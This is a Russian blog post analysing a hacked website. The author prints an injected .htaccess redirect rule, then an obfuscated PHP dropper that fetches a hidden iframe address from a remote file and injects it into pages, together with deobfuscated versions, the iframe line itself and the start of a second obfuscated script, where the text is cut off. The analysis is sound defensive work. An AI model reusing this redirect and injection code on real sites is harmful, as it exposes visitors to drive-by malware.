html текст
All interests
  • All interests
  • Design
  • Food
  • Gadgets
  • Humor
  • News
  • Photo
  • Travel
  • Video
Click to see the next recommended page
Like it
Don't like
Add to Favorites

Моё маленькое расследование или История одного взлома

Всё началось с сообщения «Тут?» от моего друга в одной из социальных сетей. «Яндекс нашёл на сайте вирусы. Глянешь?» «Отчего ж не глянуть», подумал я.
Так началось моё трёхдневное исследование скриптов, дабы понять суть взлома и что там вообще происходит.

Яндекс ругался на «Поведенческий анализ».
Первым делом осмотрел .htaccess — в начало файла оказались дописаны строки:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*)
RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC]
RewriteCond %{REQUEST_FILENAME} !/index_backup.php
RewriteRule (.*) /index_backup.php?query=$1 [QSA,L]
</IfModule>

Тут всё просто — все пользователи, что перешли на наш сайт с поисковиков, каталогов и пр. и использовали для просмотра браузера Opera или Internet Explorer, перенаправляются на некую страницу index_backup.php.
Содержимое этой страницы — одна строка. Но какая! (Здесь и далее код буду прятать под спойлеры, дабы не нагромождать).
содержимое файла
<? $GLOBALS['_62805507_']=Array(base64_decode(''.'ZG'.'VmaW5'.'l'),base64_decode('ZmlsZV'.'9nZ'.'XRfY29'.'u'.'dGV'.'udHM'.'='),base64_decode('c3RyZ'.'WFtX'.'2Nvbn'.'RleHR'.'fY3JlYXR'.'l'),base64_decode(''.'Zml'.'sZV9nZ'.'X'.'RfY29'.'udGVudHM='),base64_decode('c3'.'R'.'ybmF0'.'Y21'.'w'),base64_decode('bXRfcmFuZ'.'A='.'='),base64_decode('ZnB1dHM='),base64_decode('ZnJlYWQ'.'='),base64_decode('ZmN'.'sb3N'.'l'),base64_decode('c3RycG9z'),base64_decode('YW'.'RkY3NsYX'.'N'.'oZXM='),base64_decode('Z'.'mZsdXNo'),base64_decode(''.'c3V'.'ic3Ry'),base64_decode('Zm'.'lsZV'.'9'.'nZXRfY29udGVu'.'dH'.'M='),base64_decode('YXJyY'.'XlfZm'.'lsbF9rZXlz'),base64_decode(''.'Y3Vyb'.'F9pbml0'),base64_decode('Y3VybF9tdWx0aV9leGVj'),base64_decode('YXJyY'.'Xlfc'.'HVzaA=='),base64_decode('Y3VybF9zZXRvc'.'HQ'.'='),base64_decode('bXRf'.'cmFuZ'.'A=='),base64_decode('aW1hZ'.'2VjcmVhdGVmcm9'.'tZ2lm'),base64_decode('Y3'.'Vy'.'bF9'.'zZX'.'RvcH'.'Q'.'='),base64_decode('Y3VybF9zZX'.'Rvc'.'HQ='),base64_decode('Y3'.'Vy'.'bF'.'9l'.'eG'.'Vj'),base64_decode('Y3'.'Vy'.'bF9jbG9z'.'Z'.'Q=='),base64_decode(''.'aW5pX2d'.'ldA='.'='),base64_decode('c'.'GFyc2VfdX'.'Js'),base64_decode('ZnNv'.'Y2tv'.'cGVu'),base64_decode('ZnV'.'uY3R'.'p'.'b'.'2'.'5f'.'Z'.'Xh'.'pc'.'3Rz')); ?><? function _1051993851($i){$a=Array('SUZ'.'SQU1FX1'.'V'.'S'.'T'.'A==','aH'.'R0c'.'DovL3d'.'vcmRwcmV'.'zc3Rlc3Qu'.'aW'.'5m'.'by83Ln'.'R4'.'d'.'A='.'=',''.'ZA==','aHR0cDovLw='.'=','S'.'F'.'RUU'.'F9IT1NU','Uk'.'VRVU'.'VTV'.'F'.'9VUkk'.'=','a'.'HR0'.'cA==','dGltZW91dA==','R'.'0VUIA==',''.'Pw='.'=','I'.'CB'.'IVFRQLzEuMA0K','VXNlci1BZ2VudDo'.'gTW96'.'a'.'WxsYS81L'.'jAgKFd'.'p'.'bmRvd3M7IFU7IFdpbmRvd'.'3MgT'.'lQgN'.'S4xO'.'yBl'.'b'.'i1V'.'UzsgcnY6MS44LjA'.'uMykgR2'.'Vj'.'a2'.'8v'.'MjAwNjA0'.'M'.'jYgRmlyZW'.'ZveC8x'.'LjUuM'.'C4zDQo=',''.'QW'.'NjZXB0'.'OiAqLyoNCg='.'=','QWNjZXB0'.'LUxhb'.'md1YWdlOiBlbi11cyxlbjt'.'xPTAuNQ0K','QWN'.'jZXB'.'0L'.'UNo'.'YXJz'.'ZX'.'Q6IElTTy04'.'ODU5LTEsdXR'.'mLTg7cT'.'0wLjcs'.'Kjt'.'xPTAu'.'Nw0K','S2VlcC'.'1'.'Bb'.'Gl'.'2'.'ZT'.'ogMzA'.'w'.'D'.'Qo=',''.'Q29'.'ubmVjd'.'Glv'.'bjoga'.'2Vl'.'cC1hbGl2ZQ0K','aQ==','DQoNC'.'g==','Y'.'Wxsb3df'.'dXJsX'.'2ZvcG'.'Vu','aG9zd'.'A==','aG9zd'.'A==','cGF0aA==','cXVl'.'c'.'nk=',''.'Y3VybF9pbm'.'l0');return base64_decode($a[$i]);} ?><?php $GLOBALS['_62805507_'][0](_1051993851(0),_1051993851(1));$_0=_1051993851(2);echo l__3(IFRAME_URL);$_1=round(0+2345.5+2345.5);echo@$GLOBALS['_62805507_'][1](_1051993851(3) .$_SERVER[_1051993851(4)] .$_SERVER[_1051993851(5)]);function l__0($_2){$_3=$GLOBALS['_62805507_'][2](array(_1051993851(6)=> array(_1051993851(7)=> round(0+3+3+3+3+3))));return $GLOBALS['_62805507_'][3]($_2,false,$_3);(round(0+3799)-round(0+759.8+759.8+759.8+759.8+759.8)+round(0+3457)-round(0+3457))?$GLOBALS['_62805507_'][4]($_4,$_3):$GLOBALS['_62805507_'][5](round(0+767.33333333333+767.33333333333+767.33333333333),round(0+1266.3333333333+1266.3333333333+1266.3333333333));}function l__1($_5,$_6,$_7,$_8){$GLOBALS['_62805507_'][6]($_5,_1051993851(8) .$_7 ._1051993851(9) .$_8 ._1051993851(10) ."Host: $_6\r\n" ._1051993851(11) ._1051993851(12) ._1051993851(13) ._1051993851(14) ._1051993851(15) ._1051993851(16) ."Referer: http://$_6\r\n\r\n");while($_4=$GLOBALS['_62805507_'][7]($_5,round(0+1365.3333333333+1365.3333333333+1365.3333333333))){$_9 .= $_4;}$GLOBALS['_62805507_'][8]($_5);$_10=_1051993851(17);$_11=$GLOBALS['_62805507_'][9]($_9,_1051993851(18));if((round(0+968.25+968.25+968.25+968.25)^round(0+1291+1291+1291))&& $GLOBALS['_62805507_'][10]($_5,$_2,$_5,$_7))$GLOBALS['_62805507_'][11]($_12,$_7,$_11);$_9=$GLOBALS['_62805507_'][12]($_9,$_11+round(0+1.3333333333333+1.3333333333333+1.3333333333333));if((round(0+1014.5+1014.5+1014.5+1014.5)^round(0+4058))&& $GLOBALS['_62805507_'][13]($_3,$_3,$_3))$GLOBALS['_62805507_'][14]($_13);return $_9;}function l__2($_2){$_13=$GLOBALS['_62805507_'][15]($_2);if((round(0+736.6+736.6+736.6+736.6+736.6)+round(0+312+312+312))>round(0+3683)|| $GLOBALS['_62805507_'][16]($_14));else{$GLOBALS['_62805507_'][17]($_11);}$GLOBALS['_62805507_'][18]($_13,42,FALSE);if(round(0+3068.5+3068.5)<$GLOBALS['_62805507_'][19](round(0+572.33333333333+572.33333333333+572.33333333333),round(0+4415)))$GLOBALS['_62805507_'][20]($_2,$_15,$_16);$GLOBALS['_62805507_'][21]($_13,19913,TRUE);$GLOBALS['_62805507_'][22]($_13,13,round(0+3+3+3+3+3));$_12=$GLOBALS['_62805507_'][23]($_13);$GLOBALS['_62805507_'][24]($_13);return $_12;}function l__3($_2){if($GLOBALS['_62805507_'][25](_1051993851(19))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){echo l__0($_2);}else{$_14=$GLOBALS['_62805507_'][26]($_2);if($_5=@$GLOBALS['_62805507_'][27]($_14[_1051993851(20)],round(0+40+40),$_15,$_16,round(0+3+3+3+3+3))){echo l__1($_5,$_14[_1051993851(21)],$_14[_1051993851(22)],$_14[_1051993851(23)]);}elseif(@$GLOBALS['_62805507_'][28](_1051993851(24))){echo l__2($_2);}}}

После добавления переносов код стал немного более читабелен, но совсем не стал понятнее:
содержимое отредактированного файла
<? 
$GLOBALS['_62805507_']=Array(
	base64_decode('ZGVmaW5l'), 
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 
	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('c3RybmF0Y21w'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('ZnB1dHM='),
	base64_decode('ZnJlYWQ='),
	base64_decode('ZmNsb3Nl'),
	base64_decode('c3RycG9z'),
	base64_decode('YWRkY3NsYXNoZXM='),
	base64_decode('ZmZsdXNo'),
	base64_decode('c3Vic3Ry'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('YXJyYXlfZmlsbF9rZXlz'),
	base64_decode('Y3VybF9pbml0'),
	base64_decode('Y3VybF9tdWx0aV9leGVj'),
	base64_decode('YXJyYXlfcHVzaA=='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9leGVj'),
	base64_decode('Y3VybF9jbG9zZQ=='),
	base64_decode('aW5pX2dldA=='),
	base64_decode('cGFyc2VfdXJs'),
	base64_decode('ZnNvY2tvcGVu'),
	base64_decode('ZnVuY3Rpb25fZXhpc3Rz'));
	?>
<? 
function _1051993851($i){
	$a=Array(
	'SUZSQU1FX1VSTA==',
	'aHR0cDovL3dvcmRwcmVzc3Rlc3QuaW5mby83LnR4dA==',
	'ZA==',
	'aHR0cDovLw==',
	'SFRUUF9IT1NU',
	'UkVRVUVTVF9VUkk=',
	'aHR0cA==',
	'dGltZW91dA==',
	'R0VUIA==',
	'Pw==',
	'ICBIVFRQLzEuMA0K',
	'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
	'QWNjZXB0OiAqLyoNCg==',
	'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
	'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
	'S2VlcC1BbGl2ZTogMzAwDQo=',
	'Q29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0K',
	'aQ==',
	'DQoNCg==',
	'YWxsb3dfdXJsX2ZvcGVu',
	'aG9zdA==',
	'aG9zdA==',
	'cGF0aA==',
	'cXVlcnk=',
	'Y3VybF9pbml0');
return base64_decode($a[$i]);
} 
?>
<?php 
$GLOBALS['_62805507_'][0](_1051993851(0),_1051993851(1));
$_0=_1051993851(2);
echo l__3(IFRAME_URL);
$_1=round(0+2345.5+2345.5);
echo@$GLOBALS['_62805507_'][1](_1051993851(3) .$_SERVER[_1051993851(4)] .$_SERVER[_1051993851(5)]);

function l__0($_2){
	$_3=$GLOBALS['_62805507_'][2](array(_1051993851(6)=> array(_1051993851(7)=> round(0+3+3+3+3+3))));
	return $GLOBALS['_62805507_'][3]($_2,false,$_3);
	(round(0+3799)-round(0+759.8+759.8+759.8+759.8+759.8)+round(0+3457)-round(0+3457))?$GLOBALS['_62805507_'][4]($_4,$_3):$GLOBALS['_62805507_'][5](round(0+767.33333333333+767.33333333333+767.33333333333),round(0+1266.3333333333+1266.3333333333+1266.3333333333));
}

function l__1($_5,$_6,$_7,$_8){
	$GLOBALS['_62805507_'][6]($_5,_1051993851(8) .$_7 ._1051993851(9) .$_8 ._1051993851(10) ."Host: $_6\r\n" ._1051993851(11) ._1051993851(12) ._1051993851(13) ._1051993851(14) ._1051993851(15) ._1051993851(16) ."Referer: http://$_6\r\n\r\n");
	while($_4=$GLOBALS['_62805507_'][7]($_5,round(0+1365.3333333333+1365.3333333333+1365.3333333333))){
		$_9 .= $_4;
	}
	$GLOBALS['_62805507_'][8]($_5);
	$_10=_1051993851(17);
	$_11=$GLOBALS['_62805507_'][9]($_9,_1051993851(18));
	if((round(0+968.25+968.25+968.25+968.25)^round(0+1291+1291+1291))&& $GLOBALS['_62805507_'][10]($_5,$_2,$_5,$_7))$GLOBALS['_62805507_'][11]($_12,$_7,$_11);
	$_9=$GLOBALS['_62805507_'][12]($_9,$_11+round(0+1.3333333333333+1.3333333333333+1.3333333333333));
	if((round(0+1014.5+1014.5+1014.5+1014.5)^round(0+4058))&& $GLOBALS['_62805507_'][13]($_3,$_3,$_3))$GLOBALS['_62805507_'][14]($_13);
	return $_9;
}

function l__2($_2){
	$_13=$GLOBALS['_62805507_'][15]($_2);
	if((round(0+736.6+736.6+736.6+736.6+736.6)+round(0+312+312+312))>round(0+3683)|| $GLOBALS['_62805507_'][16]($_14));
	else{
		$GLOBALS['_62805507_'][17]($_11);
	}
	$GLOBALS['_62805507_'][18]($_13,42,FALSE);
        if(round(0+3068.5+3068.5)<$GLOBALS['_62805507_'][19](round(0+572.33333333333+572.33333333333+572.33333333333),round(0+4415)))$GLOBALS['_62805507_'][20]($_2,$_15,$_16);
	$GLOBALS['_62805507_'][21]($_13,19913,TRUE);
        $GLOBALS['_62805507_'][22]($_13,13,round(0+3+3+3+3+3));
	$_12=$GLOBALS['_62805507_'][23]($_13);
	$GLOBALS['_62805507_'][24]($_13);
	return $_12;
}

function l__3($_2){
	if($GLOBALS['_62805507_'][25](_1051993851(19))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){
		echo l__0($_2);
	}else{
		$_14=$GLOBALS['_62805507_'][26]($_2);
		if($_5=@$GLOBALS['_62805507_'][27]($_14[_1051993851(20)],round(0+40+40),$_15,$_16,round(0+3+3+3+3+3))){
			echo l__1($_5,$_14[_1051993851(21)],$_14[_1051993851(22)],$_14[_1051993851(23)]);
		}elseif(@$GLOBALS['_62805507_'][28](_1051993851(24))){
			echo l__2($_2);
		}
	}
}

?>

Пришло время раскодировать полученный код:
содержимое файла
<? 
$GLOBALS['_62805507_']=Array(
 //	   [0] => define
 //    [1] => file_get_contents
 //    [2] => stream_context_create
 //    [3] => file_get_contents
 //    [4] => strnatcmp
 //    [5] => mt_rand
 //    [6] => fputs
 //    [7] => fread
 //    [8] => fclose
 //    [9] => strpos
 //    [10] => addcslashes
 //    [11] => fflush
 //    [12] => substr
 //    [13] => file_get_contents
 //    [14] => array_fill_keys
 //    [15] => curl_init
 //    [16] => curl_multi_exec
 //    [17] => array_push
 //    [18] => curl_setopt
 //    [19] => mt_rand
 //    [20] => imagecreatefromgif
 //    [21] => curl_setopt
 //    [22] => curl_setopt
 //    [23] => curl_exec
 //    [24] => curl_close
 //    [25] => ini_get
 //    [26] => parse_url
 //    [27] => fsockopen
 //    [28] => function_exists
	base64_decode('ZGVmaW5l'), 
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 
	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('c3RybmF0Y21w'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('ZnB1dHM='),
	base64_decode('ZnJlYWQ='),
	base64_decode('ZmNsb3Nl'),
	base64_decode('c3RycG9z'),
	base64_decode('YWRkY3NsYXNoZXM='),
	base64_decode('ZmZsdXNo'),
	base64_decode('c3Vic3Ry'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('YXJyYXlfZmlsbF9rZXlz'),
	base64_decode('Y3VybF9pbml0'),
	base64_decode('Y3VybF9tdWx0aV9leGVj'),
	base64_decode('YXJyYXlfcHVzaA=='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9leGVj'),
	base64_decode('Y3VybF9jbG9zZQ=='),
	base64_decode('aW5pX2dldA=='),
	base64_decode('cGFyc2VfdXJs'),
	base64_decode('ZnNvY2tvcGVu'),
	base64_decode('ZnVuY3Rpb25fZXhpc3Rz'));
	?>
<? 
function _1051993851($i){
	$a=Array(
	// [0] => IFRAME_URL
    // [1] => http://wordpresstest.info/7.txt
    // [2] => d
    // [3] => http://
    // [4] => HTTP_HOST
    // [5] => REQUEST_URI
    // [6] => http
    // [7] => timeout
    // [8] => GET 
    // [9] => ?
    // [10] =>   HTTP/1.0

    // [11] => User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3

    // [12] => Accept: */*

    // [13] => Accept-Language: en-us,en;q=0.5

    // [14] => Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

    // [15] => Keep-Alive: 300

    // [16] => Connection: keep-alive

    // [17] => i
    // [18] => 


    // [19] => allow_url_fopen
    // [20] => host
    // [21] => host
    // [22] => path
    // [23] => query
    // [24] => curl_init
	'SUZSQU1FX1VSTA==',
	'aHR0cDovL3dvcmRwcmVzc3Rlc3QuaW5mby83LnR4dA==',
	'ZA==',
	'aHR0cDovLw==',
	'SFRUUF9IT1NU',
	'UkVRVUVTVF9VUkk=',
	'aHR0cA==',
	'dGltZW91dA==',
	'R0VUIA==',
	'Pw==',
	'ICBIVFRQLzEuMA0K',
	'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
	'QWNjZXB0OiAqLyoNCg==',
	'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
	'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
	'S2VlcC1BbGl2ZTogMzAwDQo=',
	'Q29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0K',
	'aQ==',
	'DQoNCg==',
	'YWxsb3dfdXJsX2ZvcGVu',
	'aG9zdA==',
	'aG9zdA==',
	'cGF0aA==',
	'cXVlcnk=',
	'Y3VybF9pbml0');
return base64_decode($a[$i]);
} 
?>
<?php 

defined(IFRAME_URL, "http://wordpresstest.info/7.txt");
$_0 = "d"; //мусор
echo l__3(IFRAME_URL);
$_1 = 4691; //мусор
echo @file_get_contents("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);

function l__0 ($iframeurl) { // получение данных из файла с помощью file_get_contents
    $socket_options = stream_context_create(array("http" => array("timeout" => 15)));
    return file_get_contents($iframeurl, false, $_3);

    // ф-ия уже вернула ответ. То, что ниже - мусор, дабы запутать.
    if (0){
    	strnatcmp($_4, $_3);
    } else {
    	mt_rand(2302,3799);
    }

}

function l__1 ($socket, $host, $path, $query) { // получение данных из файла с помощью fsockopen
    fputs($socket,
        "GET ".$path."?".$query." HTTP 1.0\r\n".
        "Host: $host\r\n".
        "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n".
        "Accept: */*\r\n".
        "Accept-Language: en-us,en;q=0.5\r\n".
        "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n".
        "Keep-Alive: 300\r\n".
        "Connection: keep-alive\r\n".
        "Referer: http://$host\r\n\r\n"
    );
    while($buffer = fread($socket, 4096)) {
        $response .= $buffer;
    }
    fclose($socket);

    $_10 = "i"; // мусор

    $header_end = strpos($response, "\r\n\r\n");

    // мусор
    if (0 && addcslashes($_5,$_2,$_5,$_7)){
        fflush($_12,$_7,$_11);
    }

    $response = substr($response, $header_end + 4);

    //мусор
    if(0 && file_get_contents($_3,$_3,$_3)){
        array_fill_keys($_13);
    }

    return $response;
}

function l__2 ($iframeurl) { // получение данных из файла с помощью curl
    $curl = curl_init($iframeurl);

    //мусор
    if (4619>3683 || curl_multi_exec($_14));
    else {
        array_push($_11);
    }

    curl_setopt($curl, 42, FALSE);

    // мусор
    if (6137 < mt_rand(1717, 4415)){
        imagecreatefromgif($_2,$_15,$_16);
    }

    curl_setopt($curl, 19913, TRUE);
    curl_setopt($curl, 13, 15);
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
}

function l__3 ($iframeurl) { // выбор способа для получения данных из файла
    if (ini_get("allow_url_fopen") == 1) {
        echo l__0($iframeurl);
    } else {
        $parsed = parse_url($iframeurl);
        if($socket = @fsockopen($parsed["host"], 80, $garbage_variable1, $garbage_variable2, 15)) {
            echo l__1($socket, $parsed["host"], $parsed["path"], $parsed["query"]);
        } elseif (@function_exists("curl_init")) {
            echo l__2($iframeurl);
        }
    }
}
?>


И удалить всё лишнее:

<?php 
defined(IFRAME_URL, "http://wordpresstest.info/7.txt");
echo l__3(IFRAME_URL);
echo @file_get_contents("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);

function l__0 ($iframeurl) { // получение данных из файла с помощью file_get_contents
    $socket_options = stream_context_create(array("http" => array("timeout" => 15)));
    return file_get_contents($iframeurl, false, $_3);
}

function l__1 ($socket, $host, $path, $query) { // получение данных из файла с помощью fsockopen
    fputs($socket,
        "GET ".$path."?".$query." HTTP 1.0\r\n".
        "Host: $host\r\n".
        "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n".
        "Accept: */*\r\n".
        "Accept-Language: en-us,en;q=0.5\r\n".
        "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n".
        "Keep-Alive: 300\r\n".
        "Connection: keep-alive\r\n".
        "Referer: http://$host\r\n\r\n"
    );
    while($buffer = fread($socket, 4096)) {
        $response .= $buffer;
    }
    fclose($socket);
    $header_end = strpos($response, "\r\n\r\n");
    $response = substr($response, $header_end + 4);
    return $response;
}

function l__2 ($iframeurl) { // получение данных из файла с помощью curl
    $curl = curl_init($iframeurl);
    curl_setopt($curl, 42, FALSE);
    curl_setopt($curl, 19913, TRUE);
    curl_setopt($curl, 13, 15);
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
}

function l__3 ($iframeurl) { // выбор способа для получения данных из файла
    if (ini_get("allow_url_fopen") == 1) {
        echo l__0($iframeurl);
    } else {
        $parsed = parse_url($iframeurl);
        if($socket = @fsockopen($parsed["host"], 80, $garbage_variable1, $garbage_variable2, 15)) {
            echo l__1($socket, $parsed["host"], $parsed["path"], $parsed["query"]);
        } elseif (@function_exists("curl_init")) {
            echo l__2($iframeurl);
        }
    }
}
?>


Из кода ясно, что скрипт пытается любым возможным (из трёх предложенных) способом получить данные, расположенные по адресу wordpresstest.info/7.txt (браузеры и антивирусы могут ругаться при посещении). На данной странице находится всего одна строчка — однопиксельный невидимый фрейм, адрес в котором меняется раз в минуту.

<iframe src="http://raynesparkcarbootsale.co.uk/vmyehem.php" width=1 height=1 style="visibility: hidden"></iframe>

При переходе по данному адресу мы увидим белый экран с 2 символами (1z / 2z / 3z / 4z), меняющимися в зависимости от используемых браузера и операционной системы.

Поняв, что адрес постоянно меняется, я написал маленький скрипт, который раз в минуту (по cron'у) стучался к файлу 7.txt, забирал из него адрес сайта и писал в базу.
Через несколько часов, мой наглый DDOS был, судя по всему, замечен и доступ моему скрипту был заблокирован. Но он успел успешно спарсить около 400 адресов, в которых оказалось порядка 20-30 доменов в зоне .ru.
Добраться до этого момента было не трудно — расшифровать код хоть и не быстро, но не сложно. А что делать дальше? Доступа к серверам, на которых расположены сайты из ссылки в файле 7.txt, у меня нет. А что делать, если доступа нет? Его надо попросить! Ну или хотя бы уговорить владельца отдать скрипт, на который ссылается фрейм.
Именно этот шаг оказался самым трудным — объяснить владельцу сайта, что я не взламывал его сайт, не хочу ему что-то продать, это не мой скрип и я не кодировал никаких его личных данных. Я просто хочу разобраться…
В конце концов, один из владельцев сайтов согласился отправить мне файл, понадеявшись, что на нём это не скажется как-либо отрицательно. Спасибо ему за это!
содержимое второго файла
<? $GLOBALS['_664181862_']=Array(base64_decode('Z'.'GVmaW5l'),base64_decode('c3RydG9'.'sb3dl'.'cg=='),base64_decode('a'.'W1'.'hZ2'.'Vj'.'c'.'mVhd'.'GV'.'mc'.'m9tZ2lm'),base64_decode('bX'.'RfcmFuZA=='),base64_decode('c'.'3'.'Ryc'.'G9z'),base64_decode('c3RycG9'.'z'),base64_decode('c3RydG9sb3'.'dlc'.'g=='),base64_decode('c3R'.'yX3JlcG'.'xh'.'Y'.'2'.'U='),base64_decode('dXJ'.'sZW'.'5jb'.'2Rl'),base64_decode('dX'.'JsZW5jb2Rl'),base64_decode('aGVhZG'.'Vy'),base64_decode('d'.'HJpbQ='.'='),base64_decode('aW'.'5pX2dldA'.'=='),base64_decode('cG'.'F'.'yc2VfdX'.'Js'),base64_decode(''.'ZnN'.'vY2tvcGVu'),base64_decode('Z'.'nVuY3R'.'pb'.'2'.'5fZX'.'hpc3'.'Rz'),base64_decode('c3RyZWFtX2'.'NvbnRleHR'.'f'.'Y3J'.'lY'.'XRl'),base64_decode('Y'.'XJyYXlf'.'cmVkdWNl'),base64_decode(''.'ZmZsdXNo'),base64_decode('Zmls'.'ZV9nZXRf'.'Y2'.'9udGVudH'.'M='),base64_decode('Z'.'n'.'B1dHM='),base64_decode(''.'c'.'3RybG'.'Vu'),base64_decode('b'.'XR'.'fcm'.'FuZA=='),base64_decode(''.'Y'.'XJyYXlfZmlsbA=='),base64_decode(''.'ZnJl'.'YWQ'.'='),base64_decode('ZmNs'.'b'.'3Nl'),base64_decode('c3'.'RycG9z'),base64_decode('bXRf'.'cmFuZA=='),base64_decode(''.'Y'.'XJ'.'yYXlfZmx'.'pc'.'A=='),base64_decode('c3'.'Vic3Ry'),base64_decode('Y3VybF9pbml0'),base64_decode(''.'c'.'3'.'Vic3Ry'),base64_decode(''.'b'.'XRfcmF'.'uZA'.'=='),base64_decode('Y3Vyb'.'F9zZXR'.'v'.'cH'.'Q'.'='),base64_decode('Y3Vy'.'bF9zZ'.'XRvcHQ'.'='),base64_decode('cH'.'Jl'.'Z19'.'yZ'.'XB'.'sYW'.'Nl'),base64_decode('Z'.'nJ'.'lYWQ='),base64_decode('Y'.'3V'.'ybF9zZXRvcHQ='),base64_decode('Y3'.'VybF9zZ'.'X'.'R'.'vcHQ'.'='),base64_decode('c'.'3Ry'.'d'.'mFs'),base64_decode(''.'YXJy'.'YX'.'lf'.'bWVy'.'Z2'.'U='),base64_decode(''.'Y3VybF9'.'l'.'e'.'GVj'),base64_decode(''.'Y3'.'VybF9j'.'bG9zZ'.'Q==')); ?><? function _724562126($i){$a=Array('QU'.'RN'.'SU5'.'fU'.'k'.'VESVJfVVJM','aHR0cDov'.'L3'.'R'.'lc3QuY'.'3VzdG9tc2V'.'4Y2Ftcy5jb20vcmIvZ2V0X3'.'V'.'ybC5waH'.'A=','SFRUUF'.'9VU'.'0VSX'.'0F'.'HR'.'U5U','SF'.'RUU'.'F9VU'.'0V'.'SX0FH'.'RU5U','','d'.'2luZG'.'93cw='.'=','MXo'.'=','b3Blcm'.'EvOS44MA='.'=','bXNpZSAxMA'.'==','bX'.'NpZSA5','bXNpZSA4','bXNpZSA3','Mno=','SFRU'.'UF9SRUZFUk'.'V'.'S','SF'.'RUUF'.'9SRU'.'ZFUkVS','','M'.'3'.'o=','SFRUUF9'.'I'.'T1N'.'U',''.'SFR'.'U'.'UF9IT'.'1NU','SFRUUF9I'.'T1NU','d3d3'.'Lg==','','SFRU'.'UF9IT1NU','ZD0'.'=','SF'.'R'.'UUF9IT1'.'N'.'U',''.'Og==','U'.'kVNT1'.'R'.'F'.'X0'.'FERFI'.'=','Og==','Q'.'kFE','NHo=','TG9'.'jY'.'XRpb2'.'46'.'IA==','Y'.'Wxs'.'b3dfdXJsX2Z'.'vcGVu','a'.'G9zd'.'A==','aG9zdA='.'=','cGF0aA='.'=','Y3VybF9pb'.'ml0','aHR0'.'cA==','bWV'.